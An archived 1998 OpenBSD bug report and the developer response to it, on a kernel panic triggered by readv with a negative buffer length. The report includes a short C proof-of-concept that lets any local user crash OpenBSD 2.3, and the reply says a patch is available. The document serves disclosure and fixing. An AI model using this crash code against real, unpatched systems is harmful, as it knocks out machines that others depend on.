[ http://www.rootshell.com/ ]

Date: Mon, 27 Jul 1998 12:26:36 +0100 (BST)
From: jon@oaktree.co.uk
To: gnats@openbsd.org
X-Send-Pr-Version: 3.97
Subject: kernel/549: Any user can panic OpenBSD machine
Sender: owner-bugs@openbsd.org

>Number:         549
>Category:       kernel
>Synopsis:       readv with -ve block size panics kernel
>Confidential:   yes
>Severity:       critical
>Priority:       high
>Responsible:    bugs
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Mon Jul 27 05:40:02 MDT 1998
>Last-Modified:
>Originator:     Jon Ribbens
>Organization:
\/ Jon Ribbens / jon@oaktree.co.uk
>Release:        2.3
>Environment:

        System      : OpenBSD 2.3
        Architecture: OpenBSD.i386
        Machine     : i386
>Description:
        readv with one of the blocks having a -ve size panics the kernel.
        Oops.

>How-To-Repeat:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

int main(void) {
  struct iovec iov[1];
  char buffer[1024];

  iov[0].iov_base = buffer;
  iov[0].iov_len = -1;

  return readv(0, iov, 1);
}

        run the above program, type a few characters, press return, observe
        either kernel panic or machine hang. panic message is
        "panic: ureadc: non-positive resid". Any user can do this.


>Fix:
        Dunno I'm afraid.


>Audit-Trail:
>Unformatted:

----------------------------------------------------------------------------

Date:         Mon, 27 Jul 1998 22:05:45 -0600
From:         Theo de Raadt <deraadt@CVS.OPENBSD.ORG>
Subject:      Re: Fwd: Any user can panic OpenBSD machine

> In response to this, and in response to the person who privately called
> my forwarding of the bug report "lameness," I have this to say:  The
> bug report was forwarded to some OpenBSD list to which I must have
> subscribed at one time.  If the OpenBSD listfolk didn't want the bug
> known about then they should have kept it amongst the developers.

I myself take no issue with the disclosure of this bug to people.

Whoopty doo -- another way to crash another operating system has been
reported.  This is twice now that a 'local' OpenBSD crash has made it
to bugtraq as if it were a typical exploit.  Does this now mean
bugtraq is open ground for reporting any way to crash a multiuser
operating system?  I bet there are plenty of ways to crash any
operating system, if you have a local account.

However, this bug does not by itself provide anyone with a way to gain
elevated priviledges and greater control of the system.  That is what
most of us normally call an 'exploit', or has the lingo changed
recently?

On the other hand, my guess is that people expect a whole lot of
OpenBSD now, which well, is fine, we will continue to try.. but don't
get too upset if a few human failings show through.  I am on a few
Linux developer mailing lists, and I see ways to crash Linux get
discussed all the time.  But I have not seen many ways to crash Linux
on BUGTRAQ, so I think people expect more of us.

That is good -- we'll be trying to meet those expectations :-)

> I for one was appalled at the simplicity of the
> exploit in what's claimed to be one of the most secure operating
> systems around, especially since it doesn't appear to be a problem
> with the other BSDs.

Well, I find it hard to believe that you are making that particular
statement without bias.  We are human, too.  We make mistakes from
time to time.  Who knows, maybe tomorrow someone will crash your
machine using such an `exploit' for your favorite operating system.

That said, the problem is now fixed and a patch is available.

The fix we have now stops the panic, and increases our conformance to
the XPG standard because we found a few other bugs along the way.  I
bet many systems have similar problems with sendmsg() and recvmsg(),
and also problems with out-of-range values of iovcnt.

Certainly (I should emphasize this) the XPG standard, and probably
other standards too, make it clear that EINVAL is NOT a conforming
result for that particular test code.  (Apparently some operating
system groups are fixing security problems by introducing new bugs).
Certainly, the subtle non-conformance of system calls has led to
higher-level security problems before.

In any case, see

        www.openbsd.org/errata.html#resid

for a patch which applies to 2.3.  Thanks to Todd Miller and Costa
Sapuntzakis for working on this patch.

Also, please see
        www.openbsd.org/security.html

for information on other security fixes which are far more important,
yet strangely have not reached BUGTRAQ like this report did.


> Black hats distribute these kind of exploits quickly.  Let's make sure a
> few white hats know about them too.

Black hats distribute information on how to crash systems?  I thought
they were concentrating on breaking root.